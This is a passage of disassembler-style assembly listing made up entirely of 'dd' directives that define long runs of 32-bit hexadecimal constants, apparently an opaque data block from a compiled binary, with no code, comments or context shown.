		dd 0F1618028h, 8400DD3Ch, 7108BDCFh, 0F093B4CDh, 787207F5h
		dd 813A5E28h, 0FCF65B16h, 543C23F0h, 0A152046Ch, 64CC3FCBh
		dd 0CE200A4h, 6944420Bh, 7F3F6322h, 6DD31B5Eh, 210404ECh
		dd 80BEC294h, 7BC97D34h, 8850A905h, 0AC0008DCh,	0A3DF941Eh
		dd 93E4A813h, 6BE20E0Ah, 0BA00265Bh, 0A3C4693Dh, 4040F44Fh
		dd 0A4BE18A2h, 78737463h, 0ABAA0135h, 0E9C3030Ah, 3E71101Bh
		dd 3F07B83h, 9491F52Ah,	0B95823E0h, 71CC30E0h, 1C3BB2D8h
		dd 1E876833h, 41DB40D7h, 0BD885E65h, 6D2AFA09h,	2D30C87Bh
		dd 0D1FF0072h, 0A90F7943h, 0A1289A11h, 762C8C0Eh, 990CCDA3h
		dd 656949h, 3BA0FA5Dh, 2DC21201h, 4FD9FB2Ch, 0E3401700h
		dd 508A88Fh, 23B92073h,	7D1C0084h, 4CB16ED7h, 3831CF00h
		dd 61EC7F0h, 1A8C3058h,	0E3C35BE1h, 7D7F100h, 0C47FF5DAh
		dd 6B9615F6h, 769479h, 0E3035D21h, 0D9ACCF80h, 1B7FFC04h
		dd 648CCEB1h, 0AB008698h, 8DE6CB07h, 2A0D1B1h, 0E51E5CB0h
		dd 58605E7Dh, 8A05659Dh, 6E92A501h, 0B1163400h,	1B84E9h
		dd 0C368C62h, 0FF7F3D72h, 6B32F51Dh, 0F68F29B0h, 0A9A41CDFh
		dd 3C570E03h, 0E5232A00h, 7A003643h, 1651DCC5h,	0FA820784h
		dd 0A33A1448h, 0B11E2015h, 964026D5h, 440CD0E9h, 983F3C45h
		dd 0CB4B038Dh, 0E44D83ABh, 52C3DC00h, 9C1CD939h, 0A4D89AECh
		dd 1D847241h, 0C0AC96AFh, 0C175DCF6h, 260B1C4Bh, 6ADBB2D7h
		dd 1C597Ch, 0F12C7222h,	0BBF283F6h, 0FEE2A90Ah,	130010E8h
		dd 0E42F68E6h, 43A6008Dh, 7F231103h, 8126B16Dh,	8404A85Ah
		dd 6813363h, 0E45019EAh, 24616727h, 3AA5D9DAh, 43506EA6h
		dd 29991235h, 5E6CF04Fh, 0B59D3E00h, 42218A90h,	13AC711Ah
		dd 165463Bh, 4A87766Ah,	212C40B2h, 9EF460ECh, 2D80D891h
		dd 76B9DCD9h, 992A0F40h, 318AFF7Dh, 0E9540610h,	5E004118h
		dd 3F3E661Ch, 0EFE712h,	8E822A7Eh, 0B138D828h, 0D4CFB400h
		dd 81B250A7h, 32942440h, 134C45B0h, 0DB0C2CDCh,	0A1146000h
		dd 43A013F0h, 56AA026Ch, 6E91D89Bh, 0A228F490h,	6650CC00h
		dd 30EF1F60h, 75FD0058h, 7A7F510Ch, 0B74C3A24h,	6EB80F28h
		dd 607C8E37h, 9BB2FA4h,	7B012683h, 72C543E4h, 0E70CB180h
		dd 0B2138600h, 0BE9AD6B5h, 0A30B0969h, 54802939h, 40C16073h
		dd 102D2132h, 91A08005h, 2EE1988Ch, 131CA86Dh, 0A75C91F1h
		dd 30B20892h, 9A7108D6h, 6C2C74FFh, 508ECB4h, 0F40132Eh
		dd 2196EFD4h, 0FC7A7674h, 0E875A713h, 476F3A00h, 9A8F932h
		dd 586705B9h, 0C06B73E7h, 0A2BC9B8Ch, 806C995Ch, 139D88E5h
		dd 225B7C48h, 4D03636Dh, 0E287336Ch, 0F3DDF010h, 990E619Bh
		dd 0C0D79C8Ah, 34026C15h, 99AD584Ch, 0EC086338h, 0A433CC8h
		dd 0B6ED5F4h, 6B8600AAh, 9C7A28C3h, 0E00020B1h,	126EBC40h
		dd 4A1B001Fh, 7CB02806h, 0C300BF31h, 0DC6782A8h, 0E4697348h
		dd 0B1B2023Ah, 1D234935h, 0C2AC98A2h, 605C9CE1h, 6B5F5D88h
		dd 0E1577C40h, 47030D5h, 0AEDD2803h, 0EC9EC0DEh, 6858F47Ah
		dd 92732EC4h, 0BC907217h, 69FA9462h, 1802C154h,	802E6C99h
		dd 740D12DAh, 3FBC9C55h, 0D2334A82h, 904882FFh,	900B24Fh
		dd 0B31CDF72h, 23AB98Dh
		dd 4720199Fh, 0C8419A2Ch, 0AA3010B4h, 4A89002Bh, 6804F10Bh
		dd 7001172h, 0A751285Fh, 2D3879h, 7E577D63h, 3C90395Ch
		dd 2E6F9E07h, 0D860EC8Bh, 8EAEC8h, 363A0C49h, 695C82DBh
		dd 59E9570Dh, 5F1397Ch,	0F01900D3h, 0F6A9EBAEh,	21C74264h
		dd 0FD1045D3h, 3025E8h,	19CDF0B2h, 0AB071F3Ch, 20D11A00h
		dd 7CF7FA09h, 2C5650E9h, 12E600F0h, 0D18B9AFh, 0FF069FC4h
		dd 85E85D24h, 76D60071h, 60CDF1AEh, 91308937h, 0A8C6898Dh
		dd 150202A4h, 16663B7Bh, 0E8389360h, 5C73DC28h,	0BCAB023Dh
		dd 9CAE80FBh, 9FA9D8B2h, 0A69E18EBh, 877E48D7h,	5FEE8698h
		dd 3BE97A00h, 0BDC380Ah, 1E2E03AEh, 0C8F25DFAh,	80DF911Bh
		dd 0CC0BD81h, 38BA854Eh, 0E8044C18h, 0C4E96FE5h, 0DB400FF0h
		dd 5FA63118h, 9D3A71C0h, 7A74E3h, 0A1FC1DEEh, 13BC4ADFh
		dd 0FE0F9898h, 0A0151AC4h, 31D04793h, 0FF3729E3h, 5D1F03C0h
		dd 11005BF3h, 0B0381649h, 0C1CEE583h, 46F8DB61h, 0D7086039h
		dd 8308E79h, 878C31B0h,	0A8593B6Ch, 2BB51800h, 5EB1F352h
		dd 0E55D250Ah, 0C002C57h, 70EBE9C6h, 9C0700DCh,	1C31DB20h
		dd 2173D38Dh, 0D79F29C0h, 1CFD88Bh, 24F385FCh, 401E4EFDh
		dd 73AAB638h, 9ED5A70Fh, 7768C05Dh, 7089B17h, 6F3101E5h
		dd 8BEAC3F7h, 98E03129h, 0BA9BC500h, 267797D0h,	14C2423h
		dd 6A9C91DAh, 0DC1450D8h, 2600F077h, 0B13220Dh,	0F482D7h
		dd 32FBAA7Dh, 6DC40C48h, 5BE8E018h, 0F288FE30h,	70EA8Dh
		dd 0EAA1E19Dh, 2C142802h, 89B60830h, 864A1Ah, 6B346430h
		dd 0C7904E41h, 0DA7EB00h, 11B11C6Dh, 7F0830D1h,	2971B531h
		dd 5A0FF507h, 0A6F24B6Bh, 0BFC8A05Dh, 28F734h, 270A0BC8h
		dd 0F85AF507h, 0E13BDE00h, 0D890701Eh, 0EB6F049Ah, 89DBE9E3h
		dd 6AA9D860h, 9184420Ch, 3BE5F181h, 0A084CA02h,	82ED5EC5h
		dd 272066D4h, 9076239Ch, 1C7B4494h, 0AD41AA03h,	686307h
		dd 37FB3B29h, 6F189555h, 480F5203h, 0A0158D16h,	371F5338h
		dd 0A8E00C66h, 0C0F8C580h, 1D6CAEBEh, 42AE019h,	804B917Bh
		dd 35B7040Ch, 237B400h,	0FF18AE56h, 0DDDF986Fh,	86818071h
		dd 0BF2E1E77h, 0B48A4B00h, 8C724C4Dh, 0BA8800F0h, 452AFB3Dh
		dd 812600Eh, 0F420E07Bh, 3B61CE7h, 0E61DB934h, 2A0413Fh
		dd 0AA031474h, 1E97379h, 36690D7Eh, 0D439640Dh,	23041A3Ah
		dd 0E080DE1Bh, 785DC88h, 0CEF4819Fh, 0E2D3506Ch, 91377A2Ah
		dd 0F2702183h, 6F8D6h, 67D3B83Bh, 0AEA8494Eh, 727E9424h
		dd 906E003Bh, 9EFA2DE9h, 0BB6B03FEh, 0EBBA3ED7h, 7880395h
		dd 849529BCh, 0B9A040FEh, 0BAE765B5h, 24218500h, 72DA337Ah
		dd 0E0E918CAh, 0EDEBC170h, 1DC1F3Fh, 5A2621CCh,	83FAE993h
		dd 0E099EA10h, 4A73EDBh, 8A27AE49h, 0F5F0CC4Ch,	8CE24300h
		dd 44EAA93Eh, 1498E8B0h, 8C323639h, 6C610C80h, 0D24968B2h
		dd 211E2C50h, 92C01C03h, 0F9AFB0E9h, 60CE6F87h,	60E470EAh
		dd 4635694Ah, 45EAD703h, 0A8AD7799h, 0F21EE66Eh, 0D6473A59h
		dd 40F063A6h, 0A4B1983Fh, 9900D8FAh, 94BF476h, 0DE79BBh
		dd 19E16850h, 0B108650Dh, 419594A8h, 0CC6E7305h, 7F805AF3h
		dd 17AB99A5h, 11DEB41Bh, 0F18B0B1h, 727CA064h, 962E5D03h
		dd 40632Fh, 4FC87679h, 539B8C0Eh, 0EACA4B09h, 0A201803Ch
		dd 493A4C55h, 0FA0B5CA1h, 0CB80AEF2h, 0D09F67BFh, 8C8CF0Ch
		dd 0F491C7h, 0B290DA01h, 9740DD49h, 0E835D90Eh,	471200E3h
		dd 0B89420CFh, 0E8117E36h, 928E2CF5h, 0D3250043h, 0D275E99Fh
		dd 0D5E0CA15h, 30330FC0h, 0A9C07F28h, 0EF09F552h, 744F0043h
		dd 6BB48CBFh, 0D600739Dh, 7630DB3Ah, 2943A57Eh,	1D8FEB2h
		dd 2B13EFAh, 0DC119ED9h, 0B218A613h, 6D8B11h, 829C4C9Bh
		dd 9F2D4E1Eh, 51920103h, 2C650637h, 2AC2F89h, 7BDB5EB9h
		dd 0FA953CC0h, 0BE0DB300h, 12007EAh, 0A8B17330h, 2B1F34h
		dd 0C729941Eh, 6F24B09Eh, 0E7608C01h, 0F8012738h, 181DB830h
		dd 6983E08Eh, 4008A5Bh,	304B7D4Fh, 11EACC0h, 27FAE80Fh
		dd 70F770A2h, 93000297h, 0C14EC79h, 0EF06366Ch,	18B441A8h
		dd 11D4E05Ah, 73001667h, 0BD939B70h, 3C224548h,	0A9009ECBh
		dd 0BE17024Ah, 90C04989h, 46AA063Eh, 0A7DF89Ch,	3B26DC0h
		dd 202B47A4h, 0E60B3549h, 0DC5C0E1Eh, 2870E07Ah, 20271D7h
		dd 5D81639Dh, 0E4AFF0h,	0BAEF44h, 8B909824h, 18BD9DC4h
		dd 9BF6E300h, 3BE7B1C8h, 78D3013Eh, 0FE5D2CFAh,	12044BEh
		dd 0F8A61664h, 2BBDE032h, 0E57A1B00h, 0DD3FED93h, 0C88500C2h
		dd 0ADD8876Ah, 0DAE9362Ch, 0D6BE1C80h, 0DB3B2684h, 459A05F7h
		dd 708891BFh, 0C7BA032Dh, 0C6059958h, 0F27A50D8h, 0FFDF6800h
		dd 0CC54AA18h, 0B073EC95h, 1CF899C8h, 38C29B2h,	8CDF2C29h
		dd 9B7C7102h, 0C0943A6Dh, 0C97AAF1h, 0E7E937E6h, 859A621h
		dd 2F4D0140h, 0B7078DFBh, 76E22AD4h, 951F1FB0h,	433680EBh
		dd 6315604Ch, 51797F63h, 833DD9CBh, 6AE0C33Fh, 0F8481900h
		dd 668C11A9h, 2FAB033Bh, 35633999h, 427A2100h, 74D748F4h
		dd 2977008Dh, 28986FACh, 8B00A36Dh, 1D51DB65h, 1CD07F0h
		dd 0E9887684h, 61EB2825h, 0A9CC400Ch, 0E022DEF5h, 68470082h
		dd 3827EDE2h, 8404B36Ch, 14CA4C9Dh, 199930C0h, 0B4895D70h
		dd 1CC60BC0h, 0FA003943h, 0D88FBBFCh, 4887188Bh, 8980F891h
		dd 0B61EF258h, 62C58800h, 0E056F451h, 5ADF01D2h, 9984BC77h
		dd 3124C383h, 8E11187Eh, 0CCE5B214h, 9491BC81h,	8698702Fh
		dd 7C39B288h, 78884CC4h, 11E88E02h, 0EC99E95Dh,	632C4268h
		dd 340BE464h, 86BC32F5h, 24A880h, 0EFE7A63Fh, 62985576h
		dd 0C401FF04h, 3C89EA36h, 0C50070h, 4A8FBCD2h, 735F3A13h
		dd 58206CD6h, 125FF9Fh,	1190EBBBh, 80B21EBDh, 5AC05489h
		dd 0E98F717h, 0ECB16E99h, 1CEE1927h, 42002C61h,	4860742Dh
		dd 954C56h, 911FDF86h, 513A3307h, 8379B404h, 88871C39h
		dd 56E98BF8h, 0FC819012h, 437258E8h, 18E2DE48h,	3A78AE0h
		dd 0F005492h, 0FB06C9A9h, 1CA0E716h, 4C1190Ch, 88DF46DEh
		dd 7A00B308h, 8FD7C6D9h, 0B07FFh, 13333B20h, 0D44C7F31h
		dd 6909B418h, 4EE3FE1h,	5E68FE0Ch, 893080BEh, 46E852C4h
		dd 0AD61D600h, 1A6FDBC7h, 81E10056h, 0B1E43F4Ah, 92E69EE9h
		dd 0BC2EBA09h, 0E040481Eh, 47C938ABh, 59FE7380h, 31561F27h
		dd 0EFE21400h, 3BFF6FE5h, 9B980032h, 18D6914Fh,	45711BAEh
		dd 0C1245890h, 7460A8F0h, 0E6A595FAh, 7B6F0D40h, 20EE200Ah
		dd 4D2E108Ch, 0D967B886h, 0F903D160h, 0CD125898h, 87CB624h
		dd 0AA925C02h, 10003813h, 7334A033h, 83789180h,	0E09F9517h
		dd 260E7998h, 3E776600h, 5E444C02h, 609307BFh, 70FF7EF3h
		dd 42C79C45h, 0F0141B74h, 1FF0B24Eh, 0A616EBD4h, 0CDB06820h
		dd 7CA97612h, 5CF15881h, 9724B707h, 0C814F687h,	2751FF09h
		dd 3DE4A0DDh, 0DEDFE9B2h, 0FF364B41h, 0B1282830h, 3FD3393Bh
		dd 0C0A05C9Bh, 0D06CCD12h, 8DC30061h, 0D6F33829h, 5A542120h
		dd 0B21F7FCCh, 9EC7E855h, 5E50AB82h, 97334Ch, 0C9D5C528h
		dd 0D86C9B13h, 0FCDD8800h, 37460F81h, 0DB3B02FAh, 29F37F33h
		dd 0B725EBE0h, 92C62D38h, 94200949h, 2C1B582Bh,	12CE793h
		dd 0FAAB7AC1h, 95F84056h, 0BF04C0E8h, 0B2D837DAh, 8A4C808Ch
		dd 0A8005CC6h, 0CB6DE0D5h, 0D176E2h, 269E03A1h,	8E538BF4h
		dd 6356EB0Ch, 753934h
		dd 4C1023D6h, 46639C9h,	0FB400B02h, 6469B27Ch, 0B45D2778h
		dd 86D71012h, 4480E227h, 2133666h, 4037040h, 0F881BC4Ch
		dd 0FB4B6ABh, 76B1E315h, 91E1AE8Eh, 0E4ADF4D0h,	127E979h
		dd 8098116Ah, 2C811816h, 0CC50718Eh, 0F63E3541h, 8047CE5Dh
		dd 8AF09402h, 7F3F3Bh, 49B7B2A4h, 0DBE9706Eh, 2F040C99h
		dd 0C8B5A75Eh, 85B4F0h,	40A39B0Eh, 978EE79Dh, 0D9263CB8h
		dd 3F0474F2h, 98CC6BCDh, 1A343833h, 4F9FA480h, 0B8A116BDh
		dd 191B2500h, 85317B53h, 3CE04CE9h, 0CF302C0h, 68A00537h
		dd 810436FFh, 9E9B9E3h,	0A0CCF488h, 1541EF8h, 44988812h
		dd 708168EEh, 3473DFA1h, 460738B9h, 0F954A65Fh,	0E184E383h
		dd 62748251h, 35DB2628h, 7A5B11FCh, 0F8A133Ch, 806270D7h
		dd 19AE7C95h, 0A4F0E1B9h, 79411CF1h, 64A42637h,	2B192159h
		dd 5C0FF020h, 0CC80E4DFh, 0C882E2A6h, 0C1D8BF00h, 0A7B23B14h
		dd 789404F7h, 0CC75ECB6h, 6E002788h, 44B54082h,	60DC3756h
		dd 9420497Ah, 1D003FC4h, 0B7C5AB88h, 0CC58F25Dh, 0F8788F39h
		dd 8A14C274h, 0C8B08Bh,	0FAFCAB09h, 131C4810h, 0D091A0EAh
		dd 61940100h, 0C36AF01h, 604B5226h, 135FBCF4h, 90E0D1A8h
		dd 371FB19Ch, 0F09D9702h, 0C6E4B262h, 0BA0905E4h, 805DC0AFh
		dd 8390276Ch, 0EA00117Fh, 0D81E57F6h, 2C73F49h,	55AAD747h
		dd 602EB409h, 0B0AB79CAh, 166C26C8h, 0DC0501F3h, 0ECDD182Ah
		dd 3EEE3F32h, 0BC1EA200h, 0A117AB23h, 0D0412C78h, 4980094h
		dd 6CE70301h, 491664E8h, 5C02CD0Ch, 6408D8C2h, 7EB073Ch
		dd 7F9C4199h, 9F92560h,	0E8003B4Dh, 0F3DECAFDh,	46B5DA8h
		dd 7AC50D88h, 0C834A491h, 8308C900h, 10641970h,	17A30FD8h
		dd 3960E096h, 1B6F05C2h, 0A729F07Eh, 0DE80ACB0h, 7B0FF3D4h
		dd 0A03A009Ah, 0B3522438h, 310092D5h, 4E32FE48h, 966B0CB7h
		dd 30611330h, 55776040h, 80FF423Bh, 8D65AD8Ah, 74CD8848h
		dd 4BC601F1h, 0F0EACC0Ch, 49096020h, 0AA26270Fh, 83EEA9B4h
		dd 0D2AE46E8h, 2E3C6097h, 70DC98A8h, 0D53A1C11h, 960D43B1h
		dd 10B1C11Ah, 0C2483045h, 10702D2Dh, 4DBD3ECh, 365EE025h
		dd 3088F532h, 0DE099CEDh, 10096E40h, 325D98h, 0FB0ED844h
		dd 0C83D9D3Ah, 0A900F1F0h, 6E787C65h, 7D04DB27h, 0E85D18B8h
		dd 1C87396Ah, 0DE177B02h, 900946D7h, 3DAA0680h,	0EF80FAC3h
		dd 0A080726Dh, 0F500DC54h, 7AB7D005h, 989A2256h, 6D320B6Ch
		dd 9C000D5Bh, 9CBC0ECFh, 1D129C98h, 5D138794h, 0D3892005h
		dd 0D7E0B020h, 0C2B8003Dh, 14AA2BCCh, 5300FC39h, 8C894918h
		dd 0F622E9h, 657CF45Ch,	6D0E16DBh, 478820Fh, 80E00F60h
		dd 994D1211h, 622D0E44h, 7880E71Bh, 16EB0CCEh, 186F2430h
		dd 6F83BCCDh, 7748EFh, 0EEBB9A5Ah, 3B007434h, 0FFB70E15h
		dd 60FEA821h, 2D655857h, 8F016AADh, 0E8086F3Ah,	898FB0E3h
		dd 0C920B61Bh, 0D1F10C9Dh, 0EC385300h, 683D693Eh, 609A9855h
		dd 204040C4h, 580BB55Ah, 802FBA5Eh, 8C569124h, 0BECC0C0Eh
		dd 3BC99C29h, 288F5A00h, 0DF912DEEh, 92E8D1h, 9A79CE16h
		dd 0BF49176Dh, 118FD52h, 0DC2331A1h, 98BE8E63h,	0B283FD01h
		dd 0F16058C8h, 3B1BE62h, 0A8AC57FCh, 501107D9h,	0F102A39h
		dd 0F6C1DAC0h, 3E16724Fh, 0E050198h, 9C1C755Bh,	0AFDCE880h
		dd 63D5F2E6h, 0CD7951F5h, 7628790h, 3F9688C0h, 315CB78h
		dd 0ED55827h, 0A90FF5B6h, 47E5A066h, 1920C2A3h,	0FCA637BCh
		dd 4050ADCh, 40CCBDE2h,	85EA7811h, 0F3943500h, 4CDA1348h
		dd 16C720Eh, 70803C5Dh,	505816D6h, 0B4A7DCD0h, 99CA44CCh
		dd 30AD00DAh, 5BB3328h,	84003281h, 37A35363h, 0FBA3F64h
		dd 0D3835538h, 9AA1F4ECh, 92AA6F00h, 6DFA8D62h,	5C0B0022h
		dd 0A3286135h, 28909327h, 83142C3Fh, 0CDF35F9Fh, 0BF710CF7h
		dd 5497F2Ah, 0DA803A15h, 999C00B0h, 0AAEEED6Dh,	0AFF1006Ah
		dd 5510BE3h, 8C009FC6h,	79E1A175h, 3EC30A14h, 0E8D0D690h
		dd 0B611042Bh, 814733E2h, 816C233Ch, 1AA4E580h,	97302415h
		dd 69B16097h, 4ED9F40h,	214BF602h, 629A8144h, 94FC10D4h
		dd 8E5A3F35h, 38010070h, 7F5B04C7h, 0DF54BD8Ah,	2E0312A4h
		dd 0D2ACFFB6h, 0AF9D80EFh, 354855h, 0D4F5F209h,	1091C010h
		dd 0D7EDFF14h, 0C068C3A0h, 0A201A80Bh, 0D27D01B7h, 69F1B99Dh
		dd 0AC34C403h, 0E7B548C5h, 0DCD8D430h, 5A600775h, 67C84A6Eh
		dd 4D03CEA7h, 2C9801B6h, 0A1140533h, 22F0E60Eh,	0E75904F6h
		dd 806CB186h, 57BF50E3h, 3B896160h, 18A8FDACh, 31E2E305h
		dd 19008250h, 962B11E1h, 243112A3h, 80388AB8h, 0AAFE9105h
		dd 8CEAD6C2h, 2B093201h, 0C5DE82E7h, 18F2B2ECh,	31D4F35Dh
		dd 0D75481DBh, 5303F0ACh, 0B38F5E4Ah, 0F9CCD91Bh, 0B06E0DF4h
		dd 0C861489Bh, 0A53C5C83h, 430474E9h, 0BDC0DFE4h, 6099B60Ah
		dd 3ACDC202h, 0F5D40F7h, 0FE24065Dh, 30D79045h,	0F3221505h
		dd 8408B918h, 82B80CBh,	36F605AEh, 0F28E5400h, 0DC32C6C1h
		dd 0B8706D8h, 4045D615h, 5EA2DD12h, 60D7CC00h, 88F205E7h
		dd 6A0F3EB4h, 2096DDA9h, 4DF7C378h, 1801000Dh, 39246F25h
		dd 1C4CD68Eh, 9C48088h,	5AE794h, 0C6ECDC86h, 0A3AF27B3h
		dd 0F2AE5309h, 0D31413D7h, 0FB8EC122h, 98410AE8h, 0BD5D02C4h
		dd 0E3E7C262h, 0E8481480h, 0A7F274F6h, 3719CB00h, 0AFBBD325h
		dd 35CC008Eh, 0DDE4C75Dh, 0AD00EF93h, 90BC78C2h, 269D9BFCh
		dd 42C85BF2h, 6C830EBFh, 0B10555BCh, 7A69C8D4h,	0C6B2280h
		dd 52590151h, 32978A9Dh, 0CC63D85Bh, 88DC4D0Ah,	6E81D8AAh
		dd 5F8E117h, 0E32E6032h, 0FA890030h, 4FF3061Ah,	855A3709h
		dd 745B05DFh, 8162F804h, 0E4BC2743h, 0ADE65FA0h, 87F63D64h
		dd 0D0762093h, 1A222Ch,	32092893h, 72159057h, 33F9C300h
		dd 0D6BCEDD3h, 7D7B22DCh, 0D8F2B40Ch, 14E4E9F8h, 0A80D59FCh
		dd 11F48324h, 2E6E0780h, 0B7E1C3A1h, 318008E2h,	3791986Fh
		dd 21088D9Bh, 80D98117h, 0F83F229h, 0E40059BEh,	0E075ED6h
		dd 0A714F87h, 0ED76DFF4h, 0CEB51F90h, 0D7A421B8h, 5A40C22Fh
		dd 0F5BDBC60h, 0C4B9AC2Ch, 886C5360h, 0D8214893h, 1AE3F5C0h
		dd 6D53C8D8h, 667D0084h, 6946CE02h, 9E4300A4h, 765E3C3Fh
		dd 6E00A6FAh, 5A1D81D9h, 4C33F3E6h, 8F301690h, 0DA73D7B9h
		dd 0BFEFF0A8h, 0DCB51F0Ah, 3478477h, 0E2995CD0h, 0D258160Dh
		dd 0AEA803CAh, 0B80039A3h, 91785221h, 9010FECCh, 561C3550h
		dd 0BA980351h, 0E84840D8h, 80784CC3h, 27CD6160h, 9F2D0h
		dd 2F843522h, 0F2E1AA52h, 29FB0234h, 0AC4DCC00h, 5CBEC1D6h
		dd 0B8002C37h, 6FFD5635h, 5379D381h, 8D453890h,	0F859FF0h
		dd 5AA9BADDh, 84621084h, 793C81FEh, 0C8E513F8h,	0C19B022h
		dd 50460D6Fh, 0B264810h, 44037C3Fh, 2C5E6C2h, 0AB198670h
		dd 30C00AD6h, 9109D4DEh, 909E5F5Dh, 0FE7FC4F8h,	8E47000Fh
		dd 4B6CD6E3h, 5B3D54BAh, 5ED3A96h, 0B316AA7Ch, 9CE8B01Eh
		dd 0F6E8CE64h, 0E1CC7947h, 20D152D3h, 28AFA50h,	46AB7A18h
		dd 63E800A8h, 8D41E4DFh, 2209D251h, 206224BEh, 0E9A4F21Ch
		dd 25070F27h, 800B724Dh, 2480B013h, 90072D86h, 0F3A5D62h
		dd 0BE3B6D80h, 7C61C032h, 6E194316h, 305AF32Ch,	99B60641h
		dd 9D37218Fh, 0A39F5000h, 85054487h, 3FCA4D0h, 0F2BB4C80h
		dd 81C5445Ch, 8959EC60h, 9FF6C6h, 2974F510h, 0C919A39h
		dd 73509D01h, 54B85731h
		dd 0A5B1A850h, 0BD37209h, 52059B88h, 0C01F9C05h, 0F4C24EFCh
		dd 59DC0650h, 886C4Ch, 0EAACD1B9h, 1195F0C8h, 1F6E2EDh
		dd 1BB5C90h, 0DC6039C7h, 6FD5028Fh, 0BC982751h,	0F200A044h
		dd 15FA8B4Fh, 0F92218Fh, 7031F8Dh, 90E657E0h, 0EC0213E5h
		dd 0D912DA3h, 0A4286149h, 5117D710h, 0E105B9D6h, 94409704h
		dd 75A19A7Ah, 411D012Ah, 0BEF80F4Fh, 0A734301Fh, 0A9E5DD16h
		dd 0EAC701EEh, 80C625BFh, 58120539h, 4C2E690Dh,	0CB803097h
		dd 1ECE9AFFh, 45311F00h, 8959A6CAh, 707C008Ah, 29158DF3h
		dd 9D600518h, 0FE25FA49h, 0E7B6005Bh, 0BBE66FC1h, 0F224942Dh
		dd 0D14184CDh, 3180F104h, 4802FF53h, 0A100425Fh, 68AB02Dh
		dd 0F950E3h, 0E2B3F678h, 8008672Ah, 0A524E4EAh,	38201C30h
		dd 4000548h, 117E515h, 0F8145480h, 21986004h, 0EB02FADAh
		dd 8DA14400h, 645A121Ch, 0EF2907EEh, 0D7E56F18h, 80056102h
		dd 0B94080E6h, 0A922A819h, 0F35C24F8h, 8CBF6498h, 80003B58h
		dd 794A5DE7h, 9AF30488h, 37781C68h, 0C4F102EEh,	6C601B56h
		dd 9C6052E4h, 103B47A8h, 0BDF61535h, 0C612E04Dh, 4550041h
		dd 2990AC6Ch, 5C0D070Bh, 9A71015Ah, 9082028Bh, 0E04663E5h
		dd 304A83E0h, 27BE350Dh, 9C228A86h, 36765403h, 13D8119Dh
		dd 30E1335Ah, 5C888EACh, 6C4904Ah, 803A0A79h, 0D70719B3h
		dd 0EBD35D0Ch, 9B763190h, 3499BCh, 0C3C4CCEAh, 0FB038053h
		dd 0ED2C3ABBh, 52A7D8A2h, 0C20402E7h, 6D36250Eh, 3FDC2340h
		dd 238F68B1h, 1030B2DDh, 48E8DADh, 0A1C398E9h, 1600EAB7h
		dd 0F13761CCh, 71CEC095h, 0D822B8FCh, 0E2F2E90Ah, 0CF9FC0BFh
		dd 4D08C700h, 1118C67h,	542280ADh, 3071BAE1h, 6809BCFCh
		dd 10B60D23h, 1D604488h, 40A89B39h, 7496CEACh, 2E091778h
		dd 84675DA4h, 0CA7C838h, 0A1493600h, 41FB0F18h,	71A89700h
		dd 0E55C4283h, 16C63B45h, 0D6306C3Eh, 76479231h, 0FCA6C200h
		dd 0ED1B96EAh, 9720987h, 4899E781h, 0BE2FE4E2h,	0BD674400h
		dd 0B621CADAh, 90D070D6h, 2A304BEh, 0C37AA43Ah,	2085BF88h
		dd 0F95AF29Ch, 6E09A9DCh, 25B8689Eh, 0FCE502FAh, 0BF805621h
		dd 891FD051h, 0D6A56200h, 0C8B463h, 0CC5C9D18h,	0EB59AF48h
		dd 0E77F0D16h, 0F60EC006h, 0F9BC3069h, 0CE82F559h, 0B5E30D00h
		dd 261F5BDDh, 3C1951A8h, 88AA4820h, 0E350E73Eh,	4A00C23Ch
		dd 32F54D0Eh, 60ECE5h, 0FB973DE2h, 0DF8D5225h, 0F50830E3h
		dd 0E765AC91h, 0B0DD88Ch, 0B2D1142Fh, 81119401h, 9D2980D5h
		dd 33FF2A80h, 2BDC0094h, 5AE7EF27h, 6CF0612Ch, 0D420AB45h
		dd 15630A14h, 4FA0D8F6h, 1816BB03h, 7EB48095h, 4C12AC7Ah
		dd 0FCD09732h, 310A4C4h, 0F14126FDh, 24C0A848h,	0E40387C5h
		dd 3A4B2834h, 0BD0EE886h, 76960014h, 0F2AFDC03h, 0BF2CE616h
		dd 0A5097027h, 0B56803A7h, 9B44D85Ch, 0D05A5331h, 349BA03h
		dd 98A3D3C3h, 2C766A98h, 67FE83Ah, 8C0818DCh, 0D7DF0940h
		dd 0C82BDE72h, 8BC60C90h, 60851800h, 0BE5968C1h, 7C9C4033h
		dd 0F5E60700h, 51A7AE20h, 0EAE5266Eh, 5A3B001Bh, 0E227FCA0h
		dd 0FA49BC60h, 2F69C5Fh, 0E74DAB35h, 37E0AD70h,	0C10031B8h
		dd 69E9C939h, 4CBE62D6h, 19800CB7h, 0AC4AC31Eh,	583CB100h
		dd 0C0D150Ah, 6F0F1FBDh, 1E934017h, 5D65864Ch, 0B04590B0h
		dd 0C323C0h, 68350132h,	489B1A4Dh, 0EE95D502h, 0C480D3A4h
		dd 0B1260140h, 2F8B72A9h, 0AA8CD8DCh, 0F90286E0h, 6B080F47h
		dd 14FC401Dh, 0BE7910B2h, 48BC8928h, 0F30608h, 92E35F19h
		dd 0FC22C39Dh, 49175D17h, 0E1E5C400h, 0B3C8877h, 163E7D80h
		dd 0FF19C87Eh, 0D84D6549h, 0CF74E8h, 0A81BCE47h, 0DC71D5AFh
		dd 1C0709Fh, 978FD7EAh,	60EF123Bh, 0F801AC1Ah, 92475BFDh
		dd 4708C0Ah, 1EC602CBh,	3390ADCAh, 0FC00C066h, 6AAB39E3h
		dd 6084FD71h, 4E05986Dh, 1712A830h, 88D0BD94h, 4A9160h
		dd 53D9541Eh, 84266F3Ah, 27F0FE00h, 0F2F6B2FDh,	0F8DA58FBh
		dd 8848BE13h, 0A50026A4h, 3346AE78h, 12899C8Ch,	0D080F663h
		dd 0D5D993E4h, 0C6D81117h, 32EEE803h, 1EBAA048h, 80745Dh
		dd 16B20AD6h, 794952F5h, 7DFC0403h, 0B93469F1h,	5450A3DFh
		dd 1D638CC8h, 80CEA4AFh, 0C386FAC6h, 0B70075EEh, 3274A303h
		dd 6079ED9Eh, 0B015F08Dh, 8B4DBC9Ah, 965830h, 0F11BF5D4h
		dd 1EB678E8h, 1FA2FC4Eh, 1225606h, 5EF614A8h, 846040EFh
		dd 0F300789Fh, 4C1C200Eh, 25A1628h, 12679471h, 0A840B86Eh
		dd 0AC991385h, 56C5C600h, 0B3401Ch, 5AEC9A6Eh, 18E4A4B6h
		dd 9FF4FF01h, 634C6A3h,	1F8070BDh, 2E6D7F80h, 430716Eh
		dd 4CBE49CFh, 74920711h, 0B07DBCB5h, 0A89AF6Dh,	438BF702h
